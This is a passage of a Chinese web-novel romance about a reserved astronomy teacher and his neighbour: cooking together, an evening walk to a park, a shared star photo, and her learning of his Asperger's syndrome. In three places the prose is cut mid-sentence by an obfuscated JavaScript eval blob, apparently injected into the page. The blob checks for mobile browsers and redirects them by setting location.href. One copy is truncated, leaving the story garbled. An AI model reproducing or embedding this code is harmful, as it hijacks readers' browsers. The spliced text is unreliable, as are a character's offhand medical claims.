她的声音还是和往常一样,就像是地上掉了一个东西顺手捡起来那么自然。 在晏迎把两根带子打结的那几秒里,季品诚低下头,痛恨自己刚刚翻涌的情绪。 不正常的只是他而已。 他讨厌别人和他近距离的身体接触,但刚刚她触碰他时,他却发现自己没有强烈拒绝的想法。 他身体本能的反应是感受,他感受到她手指冰凉的像雨滴。 “系好啦。” 季品诚转身和她对视,她看着他笑了一声。 这笑容让季品诚紧张起来,他怕她看出来... “季老师,你穿这个围裙居然还挺合适,没我想象中的那么有违和感。” 季品诚不动声色地松了一口气。 晏迎别过目光不再看他,怕他再不好意思下去,就得拿外套跑路了。 之后两个人都没有说话,各自安静地忙手头上的食材。 季品诚把老母鸡炖在锅中,转头用余光看向晏迎。 她把新的围裙给他了,自己穿了一件旧的粉红色米老鼠围裙。 她正在低头把刨完皮的土豆削成丝,但明显刀工不佳,土豆丝切得有点像土豆条。 季品诚走到她身边,示意她把刀给他。 “你那边都忙完啦?”晏迎惊讶他的效率。 “嗯,”他洗净手接过菜刀,准备把她的土豆条重新加工一下,“都上锅了,过一会就好。” 他们之间只剩下砧板上切土豆丝的声音。 晏迎望向他的侧脸,银框眼镜之下,他那双深邃的眼睛看不出任何的情绪。 他非常认真专注地把她切得歪七扭八的土豆条改刀成土豆丝。 晏迎别开自己的目光,下移到他指节分明的手上。 她注意到他的手背上,长着一颗黑色的小痣。 夕阳透过窗户照在她的脸上,把她的脸庞照耀得发红,晏迎长久地盯着那颗小痣,仿佛是在对着它发问。 “我的土豆切得很差吗?” 季品诚拿刀的手微微停顿,他“嗯”了一声:“是有点不堪入目。” 晏迎挑眉:“季老师,你居然拿不堪入目来形容我的土豆丝?” 他没有看她,唇角上扬回答道:“实话实说,而且你切得不是土豆丝,是土豆条。” 晏迎笑了笑:“好吧,你切得确实比我好,我甘拜下风。” “你名字里的ying是迎接的迎吗?” 季品诚知道她叫yanying,妹妹的名字既然叫晏远,那么对应起来,他猜测ying可能是迎接的迎,毕竟都是走字底。 晏迎听到他这么问,才发觉还没有正式地向他介绍过自己。 “嗯,是迎接的迎,我和小远的名字都是妈妈起的,是言笑晏晏,迎难而上,宁静致远的意思。” 他点点头:“很好听的名字。” 那些土豆条终于被他整改成了细腻的土豆丝,晏迎有点不好意思道:“季老师,我来炒吧。” 季品诚想了想,觉得尖椒炒土豆丝应该难不倒哪里去,便放手让她去做了。 兴许是他在旁边的缘故,晏迎总觉得有些局促和不自在。 季品诚站在她旁边去看锅里的鸡汤和蒸鱼,火候正好,他自己很满意。 他瞥见晏迎有点笨拙地翻炒动作,出声道:“你不经常做饭?” “做,但是没什么厨艺天赋,加上小远这孩子不挑食,我糊弄的东西她也能夸出花来,所以我......” 晏迎不说话了,因为她听到了季品诚的笑声。 她最后翻炒了几下,关掉了煤气灶,抬眼深深望向他。 “季老师,你又笑话我了。” 季品诚没有否认,他思考了一下,慎重地说道:“我只是觉得晏远能把你的厨艺夸出花来,也不容易。” 晏迎总结:“你在变相地说我厨艺差。” 季品诚其实不会说弯弯绕绕的话,可他仔细想了一下自己那句话背后的含义,好像确实是这个意思。 他有点不知所措地望向晏迎:“我...” “我逗你玩呢,季老师,我知道你说的都是实话。” 晏迎朝他走近两步去看他炖好的鸡汤和清蒸的鱼,她夸奖道:“看卖相就很好吃,季老师,我都有点后悔喊你来我家做饭了。” “为什么?”季品诚不明白了,既然做的好吃,为什么要后悔? 晏迎耐心地和他解答:“因为没有对比就没有伤害,小远吃了你做的饭,就知道自己以前吃得多差了,咱俩厨艺相差悬殊,好吃和难吃一尝就尝得出来。” 季品诚摇摇头:“你是她姐姐,不过你做的多难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111853|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃,她也会觉得你做的更好吃。” 晏迎有点惊讶地看着他:“没想到季老师你居然能说出这么温情的话来。” “因为如果没有主观感情的加持,对着你做的菜是夸不出来的。” 晏迎非常想收回自己刚刚夸他的话。 晏远把季品诚布置的作业完成得差不多了,她知道姐姐正在厨房里做饭,便简单收拾了一下桌面,打算下楼去厨房帮忙。 隔着厨房的门还能听到油烟机的声音,晏远打开了门。 “姐,我写完作业了,我来给你帮...帮忙。” 面前的场景犹如海市蜃楼,让晏远觉得这是自己的幻觉。 严肃的,不苟言笑的季老师现在穿着粉红色HelloKitty围裙在她家做饭。 姐姐站在季老师的一步之外向他请教炖汤的秘诀。 “你这汤怎么做出来的呀,我以前也炖过鸡汤,但是味道很淡汤也不鲜,就像是鸡在水里洗了一个热水澡一样。” 季品诚回答得言简意赅:“水放多了。” 油烟机哄哄的声音像是火车的发动机,晏远觉得自己满脑子跑火车。 晏远很希望这个时候有人可以狠狠掐她一把,让她清醒。 老天,居然是季老师... “小远,去洗碗盛饭吧,我们来弄菜。”晏迎冲她眨眨眼睛。 “哦哦好的姐。”晏远缓过神来,觉得自己的脚踩在了云朵之上。 晏迎面对妹妹其实有点心虚,忘了和她打声招呼,就把她的专业课老师摇来一起吃饭了。 哪个学生和老师坐一桌吃饭都会不自在的,何况还是季品诚这样的严师。 餐桌上的座位布局是这样的。 季品诚坐在晏迎对面,晏迎坐在晏远旁边。 晏远一边吃鱼一边弱弱地问季品诚:“季老师,您怎么来了?” 这个问题还真的问住了季品诚,他也说不出一个答案来。 她邀请他,而他来了,就这么简单。 季品诚是个不会撒谎的人,他不会编冠冕堂皇的理由来敷衍晏远。 晏迎替季品诚回答了这个问题,她用开玩笑的口吻说:“季老师来咱家家访。” 晏远半信半疑:“真的假的?” 季品诚和晏迎对视一眼,回答道:“假的。” “小远,姐姐忘记告诉你了,住我们隔壁的邻居就是季老师。” 季品诚冲晏远点点头:“嗯,这个是真的。” 太巧了吧,晏远有点汗颜,这巧合程度她都想去买张彩票试试手气了。 一顿饭吃得沉默。 季品诚沉默是因为本来吃饭的时候就不喜欢说话。 晏迎沉默是饿了,她要专心吃饭。 晏远沉默是季品诚在场,学生多多少少都有点怕老师。 一顿饭吃饭,晏远迅速拿过晏迎手里的盘子:“姐姐我一个人来洗碗就好,你和季老师做饭辛苦了,你们休息会吧。” 晏迎知道她怕季品诚,弯弯唇角笑了笑:“行。” 她从厨房出来,季品诚站在衣架子旁边取下了自己的风衣外套:“谢谢你请我吃饭,没什么事我就先回去了。” “你还有工作没有忙完吗?” “都忙完了。” 晏迎对他直接道:“那正好我也没什么事情,出门消食散步吧。” 她学着他一本正经的口吻道:“季老师,饭后散步可以促进消化,促进血液循环还可以避免脂肪堆积。” 还可以积累感情,但这一句被晏迎咽进了肚子里。 季品诚背对着她穿外套,她看不到他的表情。 就在她以为他要拒绝的时候,他没有转身,也没有回头,只是说了四个字。 “我们走吧。” 11. 11 天已经完全黑了,路边的灯全部亮起。 晏迎围了条围巾,还戴了双皮手套。 季品诚倒是不觉得冷,他外套的扣子都不准备扣起来。 “你不冷吗?” “不冷。” 晏迎跟着他的步子走,发现他走的路就是早上晨跑时候的路。 晏迎觉得有点好笑:“季老师,你怎么又带着我故地重游了,我们早上不是才走过这条路吗?” 季品诚愣了一下,回答道:“我习惯了。” “季老师,明天晨跑,我还可以和你一起吗?”她拢了拢自己脖子上的围巾,抬头看向他的脸问道。 晏迎发现和季品诚相处真的不是一件难事,对着他有话直说就好。 季品诚点点头:“可以。” 晏迎的半张脸都藏在了厚实的羊毛围巾里,季品诚看不出来她在笑。 “季老师,你看我们早上晨跑走这条路,晚上散步还走这条路,你不觉得很无趣吗?” 季品诚思索了一下她的问题:“我没有往有趣和无趣这个层面上想,我只是习惯了这条路。” “你愿意让我带着你换一条路吗?”晏迎直接问道。 她总是把选择的权利给他,问他愿不愿意,可不可以,好不好。 他没有理由拒绝,或者说是,他不想拒绝。 季品诚脚步放慢,跟着她走,也不问她到底要走到哪去。 晏迎停下脚步,回头看他一眼:“就这么相信我,不怕我把你卖了?” “你并不具备这个条件。” “那行,你就跟着我走吧。”晏迎又小声地补充了一句,“说不定我可以带给你惊喜。” 季品诚觉得自己的眼皮跳动了一下,他伸手揉了揉:“希望不是惊吓。” “怎么可能!”晏迎对自己非常有信心。 走了大概有七八分钟,季品诚觉得自己真的是料事如神。 她要么走到人家家门口,要么带着他走进一条死胡同里... 晏迎皱眉,嘴里小声念叨着:“诶,不对啊,我记得就是这条路啊,可能方向反了...” 季品诚轻轻笑了一声,晏迎回头和他对视,看向他的眼睛。 他很平和地和自己对视,眼睛里没有任何不愉快的情绪。 带着他走了几条冤枉路是自己的失误,晏迎担心他会不会不耐烦或者是不高兴。 见他冲自己笑了,她反而不为走错路觉得烦心。 “季老师,又被你看笑话了。” 季品诚低下头问她:“你其实是有目的地的吧,只是为了给我惊喜,不肯告诉我。” “你怎么看出来的?”晏迎感受到自己脸上的温度突然飙升。 “嗯,因为你不像是随便瞎走的,你一直找路。” “啧,再给我一次机会,我保证带你去一个好地方。” 季品诚给她放宽松限制:“两次。” 两个人并肩走着,也不再说话,晏迎认真地看路,时不时还要拿出手机地图导航一下。 季品诚也不管她到底在干什么,只是安静地跟着她走。 他第一次觉得,这样也挺好的。 不排斥和她一起散步,不排斥她要给他惊喜,不排斥她带着他去尝试新的体验。 他作出这三个总结,但很快意识到了哪里不对劲。 这种“不排斥”的建立是需要必要条件的。 综上所述,必要条件是“她”。 这个想法出来的时候,季品诚愣住,他仰头想让冷风将自己吹得清醒一点。 但一抬头啊,就看见了今晚的明月。 是满月。 晏迎终于走对了方向,看到了标志性的建筑物,再往前走一点,就要到了。 她看了一眼身边沉默的男人,故意说道,“季老师,如果我今天找不到那个地方了怎么办?” 季品诚还沉浸在自己的思绪里,他有点心不在焉地回答道:“没事,今天出门的目的是散步,达成散步的目的就好。” 晏迎看向他躲闪的眼睛,奇怪道:“季老师,你刚刚在想什么?那么专注。” 季品诚是绝对不可能告诉她的,他张了张嘴,说了句:“不告诉你。” 他完全可以说是工作或者别的任何一件事,可惜他不会骗人。 晏迎也不在意,她凑近他,冲他眨了眨眼睛:“季老师,闭眼。” “为什么要闭眼?”季品诚又有点不明白了。 “因为我找到要给你的惊喜了,闭眼呢,就是想让这份惊喜保持得更加神秘。” 季品诚还是第一次知道,除了睡觉要闭眼,洗脸要闭眼,接受惊喜的时候也要闭眼。 “行。”他闭上了眼睛。 晏迎叮嘱他:“不许偷偷睁开眼睛。” “我不会的。” 晏迎笑着向他走来,伸手牵住了他袖子的一角。 她没有触碰到他的手,可她拉住他袖子的那一刻,季品诚的左手下意识地做了一个回握的动作。 晏迎看到了他的这个动作,她有些惊讶。 季品诚遵守承诺,没有睁眼,在安静的黑暗里,他清楚地知道自己刚刚干了什么。 他感觉自己的心跳频率快了,哪怕他不动声色地松开了手,心跳却还在加快。 这不正常的频率,让他在黑暗里混乱和不知所措。 月光和灯光交织成一张大网,将他们捕捉。 晏迎的目光落在石板路上,只见两个人的影子,融成一块暖黄色的糖。 季品诚站在原地,他现在只能靠感受来判断自己在干什么,她又在干什么。 他感受到拉住自己袖子的重力消失,感受到自己垂下的手掌里,多了不一样的触感和温度。 柔软的,温暖的,像是一颗迎着太阳生长出来的藤蔓,小心翼翼地缠绕住了他。 如果没有握紧,它随时会溜走再不回来。 他以前厌恶肢体触碰,觉得自己不为人知的秘密是一只四处逃窜的鼠,而皮肤与皮肤之间的相贴,则是致命的粘鼠板。 晏迎看到他微微皱眉,像是有些痛苦。 她想松开手,可下一秒,自己的手却被他牢牢握住。 晏迎的大脑突然一片空白。 季品诚被她手上的骨头硌得慌,思考了一下认为是她厨艺太差没给自己吃上好饭导致的。 他闭眼乱七八糟地想着以后得让苏阿姨经常给隔壁加些餐。 “季老师...” “嗯。”他轻声应答。 “你牵好我,别摔到了。” “好。” 晏迎牵着他的手一步步往前走,地上刚刚相融的影子分了开来,一块糖变成了两块,一块泥变成了两个依偎着的泥人。 这条路,季品诚在心里默数,她牵着他走了二十六步。 在他以为会有第二十七步的时候,她松开了他的手。 淡淡的玫瑰味向他靠近,他听到她笑意盈盈的声音。 “季老师,请睁眼。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111854|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >面前是小区里还没完工的小型公园,一些设备尚未到位,但已经可以看得出来雏形。 绿植上都缠绕着好看的灯带,在暗沉的夜色里发出渐变的光芒,红色的山茶花沐浴着月光、灯光和目光,开得如火如荼。 这些根本算不上什么惊喜。 晏迎手指了指公园中心的一块装饰牌:“季老师,你看这里。” 季品诚定睛看去,装饰牌上印着一句烫金的花体英文。 “sincerelysavourthefourseasons.” 他翻译了一下,这句话的意思是“真诚地品味四季。” 晏迎在他身旁轻声说:“季老师,这句话的中文包含了你的名字。” “我希望季老师你不要总是冷冰冰的,可以成为真诚地品味四季的人。” 晏迎觉得自己可能说得太文艺太复杂了,她把这话简化了一下。 “我的意思是,季老师,我希望你可以活得开心。” 彩色灯带闪耀,季品诚垂眸掠过那些五光十色,最后定格在那句英文上。 如果没有她,他压根不会把这句话和自己联系在一起。 他在别人眼里从来都是一个难以靠近的人,也不会有人,用这样的话来祝愿他。 从小到大,他听到最多的祝贺要么是“学业有成”,要么是“事业顺利”。 无人在意,他的四季,他的情绪,他平静的日子里是否需要慰问和惊喜。 他们之间安静的只有风声吹过,季品诚心绪万千,一时无言。 他的爱恨憎恶,从来都是简单的,所以他现在很清楚,自己到底是为了什么而失语。 晏迎裹紧自己的围巾,有些不好意思道:“你是不是觉得我太肉麻了?” 季品诚摇摇头:“没有,我知道你也是真诚的。” 晏迎看向他的脸,她现在觉得那双好看的眼睛,没那么冰冷了。 里面有五彩斑斓的灯光,,有笑意,还有自己。 晏迎听到了自己的声音,她喃喃道:“真奇怪呀。” “奇怪什么?” “就是,我记得和季老师的第一次见面并不愉快,那会季老师还讨厌我...” 季品诚打断她的话:“不是讨厌你,是讨厌你身上的烟味。” 晏迎被他的一本正经逗笑了:“好好好,反正那会我们都看对方不顺眼。” “你看我不顺眼?” 晏迎嘴角抽了抽:“诶呀这个不是重点,我现在看季老师你可顺眼了。” 季品诚低头笑了笑,他清楚地记得,他们相遇的第一天,她的烟,让他扔掉了一件衣服。 那会自己只想离她远点。 但现在看来,她带给他的东西,远比一件衣服有价值得多。 长年权衡利弊的思维逻辑又让他在沉思,自己又能带给她什么呢? “季老师,”晏迎的声音唤醒了他,“我们现在算是朋友了吗?” 朋友?这个词让季品诚感到无比陌生。 从小到大,他几乎都没有和这个词有过什么直接或间接的关系。 没有人找他做过朋友,他似乎也不需要谁来当他的朋友。 他又想到了张峰问他的那个问题。 “你和那女的什么关系?” 现在,季品诚觉得自己可以更新一下这个问题的答案了。 “我也不知道什么样的关系可以称得上朋友,”他望进晏迎眼底,低声回答,“但我很愿意和你做朋友。” 12. 12 “sincerely 那个晚上,季品诚失眠了。 他吃完药之后心情还是不能平静,房间里开了空调,很暖和,他穿了一件单薄的睡衣,抱着一本砖头厚的天文专业书看。 他的钢笔划过几句他觉得是重点的句子,然后写下精简的批注。 季品诚没有看时间,他也不知道自己究竟看了多久,看累了他就仰头扭两下脖子,放松一下颈椎。 笔记本上是一幅他画的四瓣简明星图,明天要讲这个内容,教学生星空逐日向西偏的情况下,推算任意一天的恒星时进而得出春分点的时角,再找到对应星区辨别方位。 明天的教学内容没什么问题,他只希望坐在后排的那几个男生不要再打瞌睡和偷偷带耳机打游戏。 要不然期末挂科又要他重新出卷子给他们补考。 简直是浪费时间。 季品诚叹了一口气,他合上书放到了书架上,手上的钢笔还没有盖上笔盖,他思考了一下,翻到了自己笔记本的扉页。 扉页上干干净净,只有Name的那一栏写了三个字:季品诚。 Name的下面一栏是Motto,他一直空着没有写。 季品诚觉得自己的人生没有什么motto可言。 钢笔笔尖的墨水在米黄色护眼纸上停留了几秒,留下一个豌豆大小的墨迹。 那墨迹像是一只眼,透过他的皮肉骨骼,窥见他的心。 季品诚反应过来的时候,motto那一栏已经被自己写上了一行漂亮的花体英文。 “sincerelysavourthefourseasons.” 是她的祝愿,也是他失眠的病根。 书桌前的窗帘还没有拉上,季品诚在拉上前,看到了漆黑夜空里的一颗星。 那颗耀眼的星星让他愣住,这是只有在南方的天空中才可以看见的北落师门星。 作为南天中不多见的一颗亮星,北落师门自古以来就受到了极大的重视,在古代,夜空中出现北落师门,是军队昌盛,国家安宁的祥兆。 季品诚下意识地拿出手机想要发消息给晏迎,喊她出来去看那颗星。 电子屏幕亮起,上面显示,现在是晚上十二点半,她可能已经入睡了。 以及他并没有她的联系方式。 季品诚有些失望地放下手上的手机,他打开窗户,夜晚冷飕飕的寒风将房间里积攒的热气吹散。 他还穿着单薄的睡衣,被寒风骤然一冻打了一个喷嚏。 但他顾不得这么多了,他拿出放在房间抽屉里的专业拍摄相机,找到最佳的观星位置摆好。 “咔嚓”一声,他拍到了这颗北落师门星最美最耀眼的样子。 季品诚把这张照片导入电脑再保存在手机里,一系列操作下来,他居然不觉得冷了,反而被满足填满心口。 明天一起晨跑的时候,他要给她看这颗星星的照片。 他把窗户关上,本来温暖如春的房间冷的像是冰窖。 季品诚浑然不在意,他搓了搓冻僵的手,隔着窗户和那颗星星再次对望。 他在年少时就见过北落师门星,这颗星的出现对他来说其实算不上稀奇。 稀奇的是,他这次有了想要分享的人。 季品诚枕在枕头上闭眼酝酿睡意,几分钟之后,他又重新睁开眼睛。 漆黑的房间还没有回温,他此刻冷静下来,却实在是想不通自己到底怎么了。 他认命地闭上眼睛,直到睡意翻涌,也没有找到答案。 晏迎是半夜起床喝水的时候见到了那颗闪耀的星星,她不知道这颗星星的名字和寓意,但她第一时间就想到了季品诚。 漆黑的夜空如幕布,这颗星闪耀得宛如钻石。 晏迎不懂天文,可她也驻足观望了这颗星好久。 它是那么闪耀,又是那么孤独。 晏迎打开手机的相机,拍下了这颗星星,她想,明天早上和季品诚晨跑的时候,一定要问问他这颗星星的名字。 晏迎再次睡着之前,迷迷糊糊地想,这颗星实在不行就叫“季品诚星”吧。 早上的第五个闹钟响起,晏迎从床上爬了起来。 昨天晚上睡得很踏实,她甚至都有了赖床的冲动。 但一想到待会要见到他,她又咬咬牙利索地脱掉睡衣换上运动服。 晏迎今天甚至快速化了一个淡妆。 她推开门的时候,发现季品诚已经在门口等她了。 她注意到,今天他眼底的黑眼圈特别明显。 “季老师,你昨天晚上没有睡好吗?” 季品诚轻轻“嗯”了一声,但他并不想在这个话题上浪费时间:“走吧,我们开始跑步。” 晏迎觉得他今天挺不对劲的,连声音都是沙哑的,人看着也没有什么精神。 跑了一圈之后,晏迎喊停了。 季品诚停下脚步看着她,眼神无声地在询问她“怎么了?” 晏迎抱着手臂打量他一眼:“季老师,你身体是不是不舒服?我看你整个人都昏昏沉沉的。” “没有。” 晏迎挑眉:“嗯,说话声音沙哑,我估计你现在还喉咙胀痛。” 季品诚低头不说话了。 晏迎向他走近一步,眼神直勾勾地看着他:“我感觉你今天还有心事。” 季品诚诧异地看她一眼,因为她说得全对。 他的心事就是,想给她看自己昨天拍的北落师门星,可早上起床到现在见到她,他又突然失去了分享的勇气。 他清楚地知道,情感回避也是那个病无法避免的症状之一。 季品诚现在觉得自己身上发冷,脸颊也烫烫的,他的脑子很乱。 一句很简单的“给你看我昨天晚上拍的北落师门星”却怎么也说不出口。 脸上的烫意越来越明显了,季品诚觉得矛盾和纠结在此刻灼烧着自己。 下一秒,晏迎已经将自己的右手掌贴到了他的额头上,她的左手掌放在自己的额头上,对比着两个人的体温。 她掌心冰凉的触感,稍微抚平了他心底燃起的烦躁。 他看向她的眼睛想要说些什么,晏迎先皱着眉开口了:“季老师,你发烧了。” 季品诚别过自己的脸,退后一步低声道:“没事的,不要紧。” 他之前发烧的时候,都是自己一个人随便吃点药,或者挂瓶消炎水就过去了。 他并不愿意别人因为生病这种事来关心他。 晏迎不知道他今天为什么这么低落,她看着他不开心的样子,自己心里也不好受。 但她不打算对季品诚刨根问底。 “季老师,那我们别跑步了,走几圈散散步行吗。” “我没事的......”他这句话还没说完,晏迎故意打断了他。 “季老师,我有个好东西给你看,你过来。” 她就和哄小孩子似得,真的把他招了过来。 季品诚和她站在一块,低头去看,眼神触及到她亮着的手机屏幕时,他愣住了。 那是一张拍的并不专业的照片,一颗闪亮的北落师门星,安静地和他对视。 它像是在对他说:“你到底在胆怯什么,逃避什么,害怕什么?” 晏迎带着笑意的声音在他耳旁响起,带给他更大的冲击。 “这是我昨天起夜喝水的时候看见的,特别亮的一颗星,我看到的第一眼,就觉得你会喜欢,所以特意拍了下来给你看。” 这句话被她这么自然地从嘴里说出来,季品诚羡慕她,更加讨厌自己。 他的目光从北落师门星上转移到了她的脸上,他看着她的眼睛说:“我的确很喜欢。” “我就知道你会喜欢这颗星星,”她眼里透着得意,“这颗星星有什么名字吗,我不认识它,就自作主张给它起了一个名字。” 季品诚好奇地看着她:“你给它起了什么名字?” “我用你的名字来冠名,叫它‘季品诚星’。” 她把这颗象征着昌盛和安宁的星星,用他的名字来冠名。 季品诚的声音有点发抖:“你为什么给它冠上我的名字?” “因为我觉得你和它很像,它孤单的一颗挂在天上,你也总是喜欢独自一个人。” “不过最主要的原因是,你和他在我眼里,都是一样耀眼。” 季品诚笑了:“反正星星的名字都是人起的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15112252|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你爱怎么叫就怎么叫吧。” 他没有告诉她,这颗星叫北落师门,他犯了一个错,他在纵容“季品诚星”这个离谱的名字成为她对这颗星星的定义。 这份后知后觉的私心蛊惑着他,让他控制不住自己。 他听见了自己的声音:“我其实也有东西给你看。” 这句话早一点对她说就好了,但现在说也不晚。 季品诚打开手机相册,给她看那颗星更加清晰的样子。 晏迎笑了:“季老师,我们这样算不算心有灵犀?” 在同一个夜晚,拍摄下了同一颗星。 季品诚觉得自己脸上的热意几乎要沸腾,他故作镇定地点点头:“嗯,算是吧。” “你拍的很好看,可以发给我吗,我想当做壁纸。” “好。” 晏迎打开手机微信:“我加你。” 季品诚通过了她的好友验证,给她备注好名字,把那张北落师门星的照片发给了她。 晏迎保存下来,设置成他们聊天背景图的壁纸。 “你怎么弄的?”季品诚没有研究过这个功能,他对上晏迎饱含笑意的眼睛,诚恳道,“教教我。” 他在向她求教,晏迎心中一动,觉得他现在的样子特别…特别可爱。 “这很简单的。”晏迎一步一步地教他。 “先点开聊天页面上面的那三个小点。” 晏迎一边说一边忍不住观察他认真的样子:“再点击设置当前背景,诶对,然后点从手机相册选择,找到你想要的图片就可以了。” 设置成功,季品诚满意地关掉手机:“我还不知道可以换聊天背景。” 他一脸发现新大陆的样子把晏迎逗笑:“那你肯定还有好多功能没有解锁呢,以后我慢慢教你。” 想到了什么,晏迎又对他补充道:“我刚刚教你的是把我们两个的聊天背景设置成这张照片,如果你想把所有聊天背景都换掉,要打开设置里面的通用,再找到将背景应用到所有聊天场景。” 季品诚关掉手机:“不用了,就换掉我们的就好。” 晏迎凑近他,眼神掠过他红红的耳垂:“哦?为什么就换掉我们的就好?” 季品诚回答:“他们不配。” 这次,晏迎忍不住笑了出来,季品诚不知道她的笑点在哪里,低下头问她:“你笑什么?” 晏迎给自己顺顺气,反问他:“为什么他们不配?” “因为我们是朋友,我和他们又不是朋友。” 原来在他的世界里,只有朋友才有把聊天背景图换成好看照片的资格。 这下晏迎觉得他更加可爱了。 “季老师,那你愿不愿意听朋友的建议?” “什么建议?” “发烧的病号现在应该回家吃药喝热水多休息,我可不希望今天下班回家听小远和我说,季老师你上课上一半晕在讲台上。” 晏迎隐隐约约感觉他很排斥生病这件事情,她看了看他有些红的脸颊,担忧道:“季老师,你确定你今天可以上课吗?” 季品诚点点头:“我十分确定。” “行,那你照顾好自己,家里有退烧药吗,没有的话我给你拿点。” “有的。” 晏迎对上他温和的目光,明显感受到和早上一开始对比,他现在心情好多了。 晏迎思考了一下,不就是因为自己教他换了个聊天背景图嘛,至于这么开心吗? 季品诚背对着她咳嗽了两声:“回家吧,你别被我传染了,看来我今天得戴口罩上课了。” “好,我收拾收拾也得上班去了,你要是不舒服就别强撑着啊。” 季品诚回到家的时候简单地收拾了一下自己,就着杯温水吃了几颗退烧药。 他把自己发烫的脸埋在手掌心,透过清晰的烫意,他听到了自己耳边的心跳。 心脏一下一下沉闷地跳着,像是暴风雨来临前,困在天边挣扎的雷。 他又想到了曾经妈妈抱着他崩溃痛哭时说的话。 “品诚,如果你是一个正常的孩子就好了。” 成为正常的人,面对她的时候,就不会连分享的勇气都没有了。 13. 13 晏迎到公司的时候维娜刚来不久,她在办公室里捣鼓新买来的手冲咖啡机。 见到晏迎来了,她示意晏迎坐在沙发上:"小迎,尝尝我新买的咖啡豆怎么样。" 晏迎拿起罐子一看:"啧,咱们维娜姐大手笔,喝翡翠庄园的红标瑰夏。" 维娜给晏迎到上一杯,笑道:"人活着就是要学会享受嘛,来,尝尝。" 晏迎还没有入口,就闻到了带有柑橘味道的花香味,她喝了一口,还喝出了一点坚果和太妃糖的味道。 总之确实和外面买的咖啡味道不一样,口感要丰富很多。 晏迎点点头:"好喝,回甘里我还品出了酒香。" "有品位!"维娜坐在她对面,冲她笑着说,"我上次给一个合作商也倒了一杯,他居然说味道像是馊掉的花茶,可把我气坏了。" "哈哈哈哈哈哈哈哈。"晏迎笑得差点一口喷出来,"这也太钢铁直男了吧。" 维娜摇摇头:"不过也确实不能怪他,他不经常喝咖啡,而且他有病,一种孤独症谱系障碍的疾病,他能正常谈业务正常和人相处已经是奇迹了。" 晏迎微微坐正,好奇道:"这是什么病?自闭症吗?" “nonono,是一种叫阿斯伯格综合症的病,这种病有很多高智商的人都有,每个人的情况也不一样,有的人可能就智商平平,甚至比一般人还要低下。” "像爱因斯坦啊,歌手苏珊波伊尔都有,我认识的那位合作商啊,他从小就在数学方面表现出了很高的天赋,但后来父母发现他的沟通能力远远低于同龄人,立马就带去了医院检查,还好,发现和治疗得及时,虽然这种病不能根治,但是在童年时代及时干预对以后的成长来说还是有一定效果的。" 晏迎在维娜说的过程中,就打开了手机开始搜索什么是阿斯伯格综合症。 她的目光像是一尾迷茫的鱼,游离在一行行冰冷的专业名词之间找不到方向,她心底的那块大石头无法抑制地沉了下去。 她终于明白了,为什么他曾经对自己说:“不要相信网上说的那些东西,很多只是包装。” 那些看似灿烂辉煌的成就,那些被冠以"天才"之名的报道,对他而言都是枷锁和诅咒。 维娜伸出手在晏迎面前晃了晃:“小迎你怎么发呆了,在想什么呢?” 晏迎一下子觉得,嘴巴里面香气四溢的咖啡,突然没啥味道了。 她冲维娜挤出一个笑来:“没什么,就是我认识一个朋友,很符合阿斯伯格综合症的个别症状,我现在终于明白他为什么在人情世故上和别人有点不一样了。” 维娜放下咖啡杯,叹了一口气:“这种病是天生不可逆转的,得了就是一辈子的事情了。” 这些晏迎都知道,所以她更加心疼他。 维娜眯着眼睛看她一眼:“小迎,你就差把难过这俩字写自己脑门上了,看来你和这位朋友关系不一般啊。” “确实不一般,我是他唯一的朋友。” “那他都没有告诉你,他有阿斯伯格综合症这件事情吗?” 晏迎愣住了,三秒后,她低声回答:"没有。" 季品诚戴着口罩上完了两堂课之后就回到了办公室休息,他觉得自己的头很晕,走起路来也轻飘飘的。 幸好他下午没什么课了,可以趴在办公室的桌子上休息一会。 他没有睡着,只是闭上眼睛小憩。 他在黑暗里想到了从前的很多事情。 他有阿斯伯格综合症这件事,一直是季家的忌讳和秘密。 南城季家,名门望族,备受期待的长子,一出生却有这种病。 季父对他可以说是厌恶至极,季母整日抱着他以泪洗面,带着他四处接受心理干预和治疗。 儿童时期的季品诚并不知道为什么爸爸那么讨厌自己,妈妈总是为了他哭泣,爷爷奶奶见到他也都是摇头叹气,不愿意碰他一下。 直到有一天,有小朋友童言无忌地告诉他:"因为你不正常。" “你不是一个正常的小朋友,所以你家里人都不喜欢你,我妈妈也让我离你远点,不要和你在一起玩。” 听到这些话的季品诚没有生气,他仍旧安静地坐在小板凳上低头玩手上的魔方。 他有自己的小世界,那里别人进不去,他一个人沉浸其中,外面的天地是好是坏,他都不在意。 这种被季父厌恶和忽略的日子,是在他的数学天赋和天文天赋出现的那年开始有了破冰般的缓和。 季父发现这个患病的儿子并不是一无是处,他身上有着新的价值。 